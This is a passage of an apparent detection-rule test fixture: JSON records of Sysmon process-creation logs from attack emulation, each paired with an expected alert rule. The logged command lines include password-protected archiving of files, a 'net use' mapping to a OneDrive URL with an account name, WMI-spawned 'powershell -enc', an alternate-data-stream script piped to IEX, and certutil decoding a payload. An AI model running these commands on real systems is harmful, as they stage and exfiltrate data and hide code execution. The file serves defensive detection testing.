powershell.exe\\\"\", \"version\": \"5\", \"systemTime\": \"2021-10-27T10:48:36.0293100Z\", \"eventRecordID\": \"116621\", \"threadID\": \"4092\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2720\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\Temp\\\\Rar.exe\\\" a -hpfGzq5yKw C:\\\\Users\\\\itadmin\\\\Desktop\\\\working.zip C:\\\\Users\\\\itadmin\\\\AppData\\\\Roaming\\\\working.zip", "win.eventdata.company": "Alexander Roshal", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\Temp\\\\", "win.eventdata.description": "Command line RAR", "win.eventdata.fileVersion": "5.71.0", "win.eventdata.hashes": "SHA1=FBFAA0AA1E0F6BE9987F896AF5F15B593EE1AD50,MD5=B891917AA5F7E2E9806F2BECEBE7C77B,SHA256=26D9212EC8DBCA45383EB95EC53C05357851BD7529FA0761D649F62E90C4E9FD,IMPHASH=B6CF226307A5F95763025E2880CDD028", "win.eventdata.image": "C:\\\\Windows\\\\Temp\\\\Rar.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-2c56-6179-179f-560000000000}", "win.eventdata.logonId": "0x569f17", "win.eventdata.parentCommandLine": "powershell.exe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{94f48244-2e49-6179-7701-000000001d00}", "win.eventdata.parentProcessId": "3976", "win.eventdata.processGuid": "{94f48244-2e83-6179-7901-000000001d00}", "win.eventdata.processId": "3052", "win.eventdata.product": "WinRAR", "win.eventdata.ruleName": "technique_id=T1086,technique_name=PowerShell", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-10-27 10:48:35.989", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "116621", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2720", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-27T10:48:36.0293100Z", "win.system.task": "1", "win.system.threadID": "4092", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92067", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "Rar.exe executed a compressed file creation command"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\python.exe\",\"parentProcessGuid\":\"{4dc16835-5bc7-6179-366a-2a0000000000}\",\"logonGuid\":\"{4dc16835-5bc8-6179-25c8-2a0000000000}\",\"parentCommandLine\":\"C:\\\\\\\\Windows\\\\\\\\PSEXESVC.exe\",\"processGuid\":\"{4dc16835-5bc8-6179-d8ca-2a0000000000}\",\"logonId\":\"0x2ac825\",\"parentProcessId\":\"5136\",\"processId\":\"5332\",\"currentDirectory\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\",\"utcTime\":\"2021-10-27 14:01:44.811\",\"hashes\":\"SHA1=585EB59D12A111E9291518C5CF5D3FD296C2B581,MD5=57292CE8714E2D221D9D97C9D061D332,SHA256=43782EC4337D8F3DDB7EA0C451B3BC4F212F84C8D5571BD0A842001C859A02AE,IMPHASH=00000000000000000000000000000000\",\"parentImage\":\"C:\\\\\\\\Windows\\\\\\\\PSEXESVC.exe\",\"ruleName\":\"technique_id=T1036,technique_name=Masquerading\",\"commandLine\":\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\python.exe\\\\\\\"\",\"integrityLevel\":\"Medium\",\"user\":\"EXCHANGETEST\\\\\\\\AtomicRed\",\"terminalSessionId\":\"1\"},\"system\":{\"eventID\":\"1\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Process Create:\\r\\nRuleName: technique_id=T1036,technique_name=Masquerading\\r\\nUtcTime: 2021-10-27 14:01:44.811\\r\\nProcessGuid: {4dc16835-5bc8-6179-d8ca-2a0000000000}\\r\\nProcessId: 5332\\r\\nImage: C:\\\\Windows\\\\Temp\\\\python.exe\\r\\nFileVersion: -\\r\\nDescription: -\\r\\nProduct: -\\r\\nCompany: -\\r\\nOriginalFileName: -\\r\\nCommandLine: \\\"C:\\\\Windows\\\\Temp\\\\python.exe\\\" \\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: EXCHANGETEST\\\\AtomicRed\\r\\nLogonGuid: {4dc16835-5bc8-6179-25c8-2a0000000000}\\r\\nLogonId: 0x2AC825\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=585EB59D12A111E9291518C5CF5D3FD296C2B581,MD5=57292CE8714E2D221D9D97C9D061D332,SHA256=43782EC4337D8F3DDB7EA0C451B3BC4F212F84C8D5571BD0A842001C859A02AE,IMPHASH=00000000000000000000000000000000\\r\\nParentProcessGuid: {4dc16835-5bc7-6179-366a-2a0000000000}\\r\\nParentProcessId: 5136\\r\\nParentImage: C:\\\\Windows\\\\PSEXESVC.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\PSEXESVC.exe\\\"\",\"version\":\"5\",\"systemTime\":\"2021-10-27T14:01:45.0056864Z\",\"eventRecordID\":\"200618\",\"threadID\":\"3144\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"1\",\"processID\":\"2220\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\Temp\\\\python.exe\\\"", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.hashes": "SHA1=585EB59D12A111E9291518C5CF5D3FD296C2B581,MD5=57292CE8714E2D221D9D97C9D061D332,SHA256=43782EC4337D8F3DDB7EA0C451B3BC4F212F84C8D5571BD0A842001C859A02AE,IMPHASH=00000000000000000000000000000000", "win.eventdata.image": "C:\\\\Windows\\\\Temp\\\\python.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{4dc16835-5bc8-6179-25c8-2a0000000000}", "win.eventdata.logonId": "0x2ac825", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\PSEXESVC.exe", "win.eventdata.parentImage": "C:\\\\Windows\\\\PSEXESVC.exe", "win.eventdata.parentProcessGuid": "{4dc16835-5bc7-6179-366a-2a0000000000}", "win.eventdata.parentProcessId": "5136", "win.eventdata.processGuid": "{4dc16835-5bc8-6179-d8ca-2a0000000000}", "win.eventdata.processId": "5332", "win.eventdata.ruleName": "technique_id=T1036,technique_name=Masquerading", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "EXCHANGETEST\\\\AtomicRed", "win.eventdata.utcTime": "2021-10-27 14:01:44.811", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "1", "win.system.eventRecordID": "200618", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2220", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-10-27T14:01:45.0056864Z", "win.system.task": "1", "win.system.threadID": "3144", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.currentDirectory", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92068", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "PSEXEC was used to execute another command"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"net.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\net.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-f5f0-6184-1f07-000000002200}\", \"description\": \"Net Command\", \"logonGuid\": \"{94f48244-4336-6182-7ded-150000000000}\", \"parentCommandLine\": \"powershell.exe\", \"processGuid\": \"{94f48244-f7bb-6184-3507-000000002200}\", \"logonId\": \"0x15ed7d\", \"parentProcessId\": \"2812\", \"processId\": \"5352\", \"currentDirectory\": \"C:\\\\\\\\Users\\\\\\\\itadmin\\\\\\\\Desktop\\\\\\\\\", \"utcTime\": \"2021-11-05 09:22:03.236\", \"hashes\": \"SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"ruleName\": \"technique_id=T1018,technique_name=Remote System Discovery\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\net.exe\\\\\\\" use y: https://d.docs.live.net/8BF025F44898DDEE /user:christestapt29@outlook.com password\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.1 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1018,technique_name=Remote System Discovery\\r\\nUtcTime: 2021-11-05 09:22:03.236\\r\\nProcessGuid: {94f48244-f7bb-6184-3507-000000002200}\\r\\nProcessId: 5352\\r\\nImage: C:\\\\Windows\\\\System32\\\\net.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: Net Command\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: net.exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\net.exe\\\" use y: https://d.docs.live.net/8BF025F44898DDEE /user:christestapt29@outlook.com password\\r\\nCurrentDirectory: C:\\\\Users\\\\itadmin\\\\Desktop\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-4336-6182-7ded-150000000000}\\r\\nLogonId: 0x15ED7D\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07\\r\\nParentProcessGuid: {94f48244-f5f0-6184-1f07-000000002200}\\r\\nParentProcessId: 2812\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: powershell.exe\\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-05T09:22:03.2403640Z\", \"eventRecordID\": \"231959\", \"threadID\": \"4080\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2832\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\net.exe\\\" use y: https://d.docs.live.net/8BF025F44898DDEE /user:christestapt29@outlook.com password", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\itadmin\\\\Desktop\\\\", "win.eventdata.description": "Net Command", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=88B101598CC6726B7A57D02B1FA95BE1B272A821,MD5=0BD94A338EEA5A4E1F2830AE326E6D19,SHA256=9F376759BCBCD705F726460FC4A7E2B07F310F52BAA73CAAAAA124FDDBDF993E,IMPHASH=57F0C47AE2A1A2C06C8B987372AB0B07", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\net.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{94f48244-4336-6182-7ded-150000000000}", "win.eventdata.logonId": "0x15ed7d", "win.eventdata.originalFileName": "net.exe", "win.eventdata.parentCommandLine": "powershell.exe", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.parentProcessGuid": "{94f48244-f5f0-6184-1f07-000000002200}", "win.eventdata.parentProcessId": "2812", "win.eventdata.processGuid": "{94f48244-f7bb-6184-3507-000000002200}", "win.eventdata.processId": "5352", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1018,technique_name=Remote System Discovery", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-11-05 09:22:03.236", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "231959", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2832", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-05T09:22:03.2403640Z", "win.system.task": "1", "win.system.threadID": "4080", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92038", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "A connection to cloud resource was started"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"PowerShell.EXE\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{94f48244-81ae-6180-6d01-000000002100}\", \"description\": \"Windows PowerShell\", \"logonGuid\": \"{94f48244-1a96-6180-ee21-070000000000}\", \"parentCommandLine\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\wbem\\\\\\\\wmiprvse.exe -secured -Embedding\", \"processGuid\": \"{94f48244-81af-6180-6e01-000000002100}\", \"logonId\": \"0x721ee\", \"parentProcessId\": \"6044\", \"processId\": \"5740\", \"currentDirectory\": \"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\\", \"utcTime\": \"2021-11-02 00:09:19.663\", \"hashes\": \"SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wbem\\\\\\\\WmiPrvSE.exe\", \"ruleName\": \"technique_id=T1047,technique_name=Windows Management Instrumentation\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"powershell.exe -enc base64text\", \"integrityLevel\": \"High\", \"fileVersion\": \"10.0.19041.546 (WinBuild.160101.0800)\", \"user\": \"XRISBARNEY\\\\\\\\itadmin\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nUtcTime: 2021-11-02 00:09:19.663\\r\\nProcessGuid: {94f48244-81af-6180-6e01-000000002100}\\r\\nProcessId: 5740\\r\\nImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nFileVersion: 10.0.19041.546 (WinBuild.160101.0800)\\r\\nDescription: Windows PowerShell\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: PowerShell.EXE\\r\\nCommandLine: powershell.exe -enc base64text\\r\\nCurrentDirectory: C:\\\\Windows\\\\system32\\\\\\r\\nUser: XRISBARNEY\\\\itadmin\\r\\nLogonGuid: {94f48244-1a96-6180-ee21-070000000000}\\r\\nLogonId: 0x721EE\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: High\\r\\nHashes: SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7\\r\\nParentProcessGuid: {94f48244-81ae-6180-6d01-000000002100}\\r\\nParentProcessId: 6044\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe\\r\\nParentCommandLine: C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding\\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-02T00:09:19.6824381Z\", \"eventRecordID\": \"210117\", \"threadID\": \"3608\", \"computer\": \"apt29w2.xrisbarney.local\", \"task\": \"1\", \"processID\": \"2332\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "powershell.exe -enc base64text", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Windows\\\\system32\\\\", "win.eventdata.description": "Windows PowerShell", "win.eventdata.fileVersion": "10.0.19041.546 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054,MD5=04029E121A0CFA5991749937DD22A1D9,SHA256=9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F,IMPHASH=7C955A0ABC747F57CCC4324480737EF7", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe", "win.eventdata.integrityLevel": "High", "win.eventdata.logonGuid": "{94f48244-1a96-6180-ee21-070000000000}", "win.eventdata.logonId": "0x721ee", "win.eventdata.originalFileName": "PowerShell.EXE", "win.eventdata.parentCommandLine": "C:\\\\Windows\\\\system32\\\\wbem\\\\wmiprvse.exe -secured -Embedding", "win.eventdata.parentImage": "C:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe", "win.eventdata.parentProcessGuid": "{94f48244-81ae-6180-6d01-000000002100}", "win.eventdata.parentProcessId": "6044", "win.eventdata.processGuid": "{94f48244-81af-6180-6e01-000000002100}", "win.eventdata.processId": "5740", "win.eventdata.product": "Microsoft® Windows® Operating System", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.terminalSessionId": "1", "win.eventdata.user": "XRISBARNEY\\\\itadmin", "win.eventdata.utcTime": "2021-11-02 00:09:19.663", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "apt29w2.xrisbarney.local", "win.system.eventID": "1", "win.system.eventRecordID": "210117", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2332", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-11-02T00:09:19.6824381Z", "win.system.task": "1", "win.system.threadID": "3608", "win.system.version": "5"}, "field_names": ["win.eventdata.commandLine", "win.eventdata.company", "win.eventdata.currentDirectory", "win.eventdata.description", "win.eventdata.fileVersion", "win.eventdata.hashes", "win.eventdata.image", "win.eventdata.integrityLevel", "win.eventdata.logonGuid", "win.eventdata.logonId", "win.eventdata.originalFileName", "win.eventdata.parentCommandLine", "win.eventdata.parentImage", "win.eventdata.parentProcessGuid", "win.eventdata.parentProcessId", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.product", "win.eventdata.ruleName", "win.eventdata.terminalSessionId", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "92071", "rule_matches_expected": false, "ini_file": "sysmon_eid_1.ini", "section": "A powershell process created by WMI executed a base64 encoded command"} +{"log": "{ \"win\": { \"eventdata\": { \"originalFileName\": \"CertUtil.exe\", \"image\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\certutil.exe\", \"product\": \"Microsoft® Windows® Operating System\", \"parentProcessGuid\": \"{1f43d37e-0bf7-6180-6602-000000001d00}\", \"description\": \"CertUtil.exe\", \"logonGuid\": \"{1f43d37e-e11c-617f-5ac2-120000000000}\", \"parentCommandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\\\\\\\" Get-Content '.\\\\\\\\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX\", \"processGuid\": \"{1f43d37e-0c6b-6180-8402-000000001d00}\", \"logonId\": \"0x12c25a\", \"parentProcessId\": \"5712\", \"processId\": \"3036\", \"currentDirectory\": \"C:\\\\\\\\Users\\\\\\\\workstation1\\\\\\\\Desktop\\\\\\\\\", \"utcTime\": \"2021-11-01 15:48:59.834\", \"hashes\": \"SHA1=70E89852F023AB7CDE0173EDA1208DBB580F1E4F,MD5=BD8D9943A9B1DEF98EB83E0FA48796C2,SHA256=8DE7B4EB1301D6CBE4EA2C8D13B83280453EB64E3B3C80756BBD1560D65CA4D2,IMPHASH=7B7F7ED372C027216AE5100589C424EA\", \"parentImage\": \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\WindowsPowerShell\\\\\\\\v1.0\\\\\\\\powershell.exe\", \"ruleName\": \"technique_id=T1086,technique_name=PowerShell\", \"company\": \"Microsoft Corporation\", \"commandLine\": \"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\certutil.exe\\\\\\\" -decode blob C:\\\\\\\\Users\\\\\\\\workstation1\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\kxwn.lock\", \"integrityLevel\": \"Medium\", \"fileVersion\": \"10.0.19041.1 (WinBuild.160101.0800)\", \"user\": \"DC\\\\\\\\workstation1\", \"terminalSessionId\": \"1\" }, \"system\": { \"eventID\": \"1\", \"keywords\": \"0x8000000000000000\", \"providerGuid\": \"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\", \"level\": \"4\", \"channel\": \"Microsoft-Windows-Sysmon/Operational\", \"opcode\": \"0\", \"message\": \"\\\"Process Create:\\r\\nRuleName: technique_id=T1086,technique_name=PowerShell\\r\\nUtcTime: 2021-11-01 15:48:59.834\\r\\nProcessGuid: {1f43d37e-0c6b-6180-8402-000000001d00}\\r\\nProcessId: 3036\\r\\nImage: C:\\\\Windows\\\\System32\\\\certutil.exe\\r\\nFileVersion: 10.0.19041.1 (WinBuild.160101.0800)\\r\\nDescription: CertUtil.exe\\r\\nProduct: Microsoft® Windows® Operating System\\r\\nCompany: Microsoft Corporation\\r\\nOriginalFileName: CertUtil.exe\\r\\nCommandLine: \\\"C:\\\\Windows\\\\system32\\\\certutil.exe\\\" -decode blob C:\\\\Users\\\\workstation1\\\\AppData\\\\Roaming\\\\Microsoft\\\\kxwn.lock\\r\\nCurrentDirectory: C:\\\\Users\\\\workstation1\\\\Desktop\\\\\\r\\nUser: DC\\\\workstation1\\r\\nLogonGuid: {1f43d37e-e11c-617f-5ac2-120000000000}\\r\\nLogonId: 0x12C25A\\r\\nTerminalSessionId: 1\\r\\nIntegrityLevel: Medium\\r\\nHashes: SHA1=70E89852F023AB7CDE0173EDA1208DBB580F1E4F,MD5=BD8D9943A9B1DEF98EB83E0FA48796C2,SHA256=8DE7B4EB1301D6CBE4EA2C8D13B83280453EB64E3B3C80756BBD1560D65CA4D2,IMPHASH=7B7F7ED372C027216AE5100589C424EA\\r\\nParentProcessGuid: {1f43d37e-0bf7-6180-6602-000000001d00}\\r\\nParentProcessId: 5712\\r\\nParentImage: C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\r\\nParentCommandLine: \\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" Get-Content '.\\\\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX\\\"\", \"version\": \"5\", \"systemTime\": \"2021-11-01T15:48:59.8371735Z\", \"eventRecordID\": \"112420\", \"threadID\": \"3152\", \"computer\": \"Workstation1.dc.local\", \"task\": \"1\", \"processID\": \"2284\", \"severityValue\": \"INFORMATION\", \"providerName\": \"Microsoft-Windows-Sysmon\" } } }", "decoder": "json", "parent": "", "fields": {"win.eventdata.commandLine": "\\\"C:\\\\Windows\\\\system32\\\\certutil.exe\\\" -decode blob C:\\\\Users\\\\workstation1\\\\AppData\\\\Roaming\\\\Microsoft\\\\kxwn.lock", "win.eventdata.company": "Microsoft Corporation", "win.eventdata.currentDirectory": "C:\\\\Users\\\\workstation1\\\\Desktop\\\\", "win.eventdata.description": "CertUtil.exe", "win.eventdata.fileVersion": "10.0.19041.1 (WinBuild.160101.0800)", "win.eventdata.hashes": "SHA1=70E89852F023AB7CDE0173EDA1208DBB580F1E4F,MD5=BD8D9943A9B1DEF98EB83E0FA48796C2,SHA256=8DE7B4EB1301D6CBE4EA2C8D13B83280453EB64E3B3C80756BBD1560D65CA4D2,IMPHASH=7B7F7ED372C027216AE5100589C424EA", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\certutil.exe", "win.eventdata.integrityLevel": "Medium", "win.eventdata.logonGuid": "{1f43d37e-e11c-617f-5ac2-120000000000}", "win.eventdata.logonId": "0x12c25a", "win.eventdata.originalFileName": "CertUtil.exe", "win.eventdata.parentCommandLine": "\\\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\\\" Get-Content '.\\\\2016_United_States_presidential_election_-_Wikipedia.html' -Stream schemas | IEX", "win.eventdata.parentImage": 